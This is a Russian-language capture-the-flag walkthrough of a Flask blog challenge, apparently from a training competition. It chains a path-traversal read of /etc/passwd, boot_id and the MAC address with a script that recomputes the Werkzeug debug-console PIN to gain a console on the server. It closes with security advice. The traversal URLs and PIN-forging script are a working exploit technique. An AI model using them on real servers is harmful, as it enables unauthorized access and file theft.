Перейти к основному содержанию

CTF web — blogger

CTF

Разбираем двенадцатую задачку из нашего соревнования CTF. Задание называется blogger, дают аж 2000 баллов за флаг, простой она точно не будет.

ctf

В задании есть подсказка, что уязвимость явно не одна, и первая найденная не поможет решить задачку. Нам встретятся следующие уязвимости:

Path Traversal — получение доступа к файлам и каталогам, которые расположены вне пределов, определенных конфигурацией. Путем манипулирования переменными, которые указывают на положение файлов, с помощью последовательностей "../" и их вариаций, может быть получен доступ к любым файлам и каталогам, имеющимся в системе.

Уязвимость хеш-функции. Атакующий может вычислить секретный ключ, зная алгоритм шифрования и исходные значения.

Ссылки

CTF web - traverser

Решение

Переходим на сайт задания.

ctf

Мы видим некий упрощённый вариант блога. Кликаем на пост.

ctf

Обратим внимание на адресную строку.

http://blogger/post?id=helloworld.html

Сразу замечаем, что в качестве аргумента используется имя файла helloworld.html — это уже возможная уязвимость Path Traversal. Проверим. Заменим название файла helloworld.html:

http://blogger/post?id=../../../../../../../etc/passwd

Бинго, это было не сложно!

ctf

Используя эту уязвимость мы можем считать содержимое любого файла. Но пока это нам ничего не даёт. Пробуем открыть любой случайный путь:

http://blogger/post?id=fffff

ctf

Попадаем на ошибку 404 и видим, что админ оставил включенным дебаг-режим фреймворка flask.

Flask — фреймворк для создания веб-приложений на языке программирования Python, использующий набор инструментов Werkzeug, а также шаблонизатор Jinja2. Относится к категории так называемых микрофреймворков — минималистичных каркасов веб-приложений, сознательно предоставляющих лишь самые базовые возможности.

Flask позволяет дебажить код, можно запустить консоль прямо из места ошибки и посмотреть что там случилось. Место запуска консоли я отметил красным. Но есть одно но: и так понятно, что консоль на сайте — это уязвимое место, поэтому вход закрыт на PIN код.

ctf

При запуске приложения админу в консоли сообщается PIN, и этот PIN всегда одинаковый. Если нам каким-то образом удастся понять, как этот PIN считается и повторить вычисления, то мы сами получим тот же самый PIN и войдём в консоль через дебаг-режим как нож сквозь масло.

Есть долгий путь: самим дебажить flask и смотреть, как вычисляется PIN. Однако, за нас это уже сделали китайцы:

https://www.kingkk.com/2018/08/Flask-debug-pin%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/

Расскажу основные моменты. Вот она — та самая функция, которая генерирует PIN:

def _generate():
    # Potential sources of secret information on linux.  The machine-id
    # is stable across boots, the boot id is not
    for filename in '/etc/machine-id', '/proc/sys/kernel/random/boot_id':
        try:
            with open(filename, 'rb') as f:
                return f.readline().strip()
        except IOError:
            continue

    # On OS X we can use the computer's serial number assuming that
    # ioreg exists and can spit out that information.
    try:
        # Also catch import errors: subprocess may not be available, e.g.
        # Google App Engine
        # See https://github.com/pallets/werkzeug/issues/925
        from subprocess import Popen, PIPE
        dump = Popen(['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'],
                     stdout=PIPE).communicate()[0]
        match = re.search(b'"serial-number" = <([^>]+)', dump)
        if match is not None:
            return match.group(1)
    except (OSError, ImportError):
        pass

    # On Windows we can use winreg to get the machine guid
    wr = None
    try:
        import winreg as wr
    except ImportError:
        try:
            import _winreg as wr
        except ImportError:
            pass
    if wr is not None:
        try:
            with wr.OpenKey(wr.HKEY_LOCAL_MACHINE,
                            'SOFTWARE\\Microsoft\\Cryptography', 0,
                            wr.KEY_READ | wr.KEY_WOW64_64KEY) as rk:
                machineGuid, wrType = wr.QueryValueEx(rk, 'MachineGuid')
                if (wrType == wr.REG_SZ):
                    return machineGuid.encode('utf-8')
                else:
                    return machineGuid
        except WindowsError:
            pass

_machine_id = rv = _generate()
return rv

Для генерации PIN она использует некоторые значения:

  1. Файл приложения.
  2. Имя приложения.
  3. /etc/machine-id или /proc/sys/kernel/random/boot_id, смотря что имеется.
  4. MAC-адрес сетевухи.
  5. Имя пользователя.
  6. Путь до приложения.

Если мы всё это узнаем, то сможем сгенерировать PIN, нам даже более удобный генератор китайцы дали:

import hashlib
from itertools import chain
probably_public_bits = [
	'kingkk',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	'52242498922',# str(uuid.getnode()),  /sys/class/net/ens33/address
	'19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print(rv)

Находим первый попавшийся сайт с питоном:

https://www.tutorialspoint.com/execute_python_online.php

Втыкаем код генерации PIN и пробуем выполнить.

ctf

Шарманка работает, но данные для генерации PIN не наши и PIN не тот, будем искать.

Сбор данных

Мы уже знаем некоторые данные flask:

  • Файл приложения: flask.app.
  • Имя приложения: Flask.

Первый и второй ключи известны.

Получить /etc/machine-id или /proc/sys/kernel/random/boot_id можно легко, используя первую найденную нами уязвимость.

http://blogger/post?id=../../../../../../../etc/machine-id

ctf

Файл не существует, пробуем второй:

http://blogger.ev.local/post?id=../../../../../../../proc/sys/kernel/random/boot_id

ctf

Третий ключ найден: 5e0cc42b-001a-4139-abc6-6f8d517d8ddf.

Получим MAC-адрес сетевухи:

http://blogger/post?id=../../../../../../..//sys/class/net/eth0/address

ctf

Получаем MAC: 02:42:ac:16:00:04. Но нам нужен целочисленный вариант, китайцы подсказывают формулу. Снова используем сайт с питоном, выполняем:

print (0x0242ac160004)

ctf

Четвёртый ключ найден: 2485378220036.

Нам осталось найти:

  • Имя пользователя.
  • Путь до приложения.

Смотрим на любой кусок ошибки 404:

File "/root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py", line 2309, in __call__
'root',# username
'/root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),

И понимаем что:

  • Имя пользователя: root.
  • Путь до приложения: /root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py.

Пятый и шестой ключи найдены.

PIN

Подставляем все найденные ключи в генератор.

import hashlib
from itertools import chain
probably_public_bits = [
	'root',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	'2485378220036',# str(uuid.getnode()),  /sys/class/net/ens33/address
	'5e0cc42b-001a-4139-abc6-6f8d517d8ddf'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print(rv)

И получаем PIN:

170-504-868

Втыкаем его в сайт.

ctf

И успешно проваливаемся в консоль с правами админа. Теперь нужно немного попитонить. Нам нужно посмотреть содержимое директории сайта. Путь к директории виден в конце 404 страницы. Вот он:

ctf

Выводим содержимое этой директории:

os.listdir("/usr/app/")

ctf

Среди списка файлов видно интересный файл с длинным названием E746D04AD0258C557AB5D5E18F57E5B269CEAC744304FA85EC7F6D79533AE8D2. Посмотрим, что внутри:

http://blogger/post?id=../../../../../../../usr/app/E746D04AD0258C557AB5D5E18F57E5B269CEAC744304FA85EC7F6D79533AE8D2

ctf

Вот и флаг.

Безопасность

  1. Если вы используете сторонние библиотеки, фреймворки, CMS, CMF, уделяйте внимание безопасности, своевременно обновляйте их. В таких проектах нередко появляются найденные уязвимости и заплатки к ним.
  2. Не открывайте наружу дебаг.
  3. Здесь мы видим пример как совокупность эксплуатации двух разных уязвимостей дала возможность проникнуть на сервер, хотя каждая из уязвимостей по-отдельности не привела бы к такому результату.

Теги

 

Похожие материалы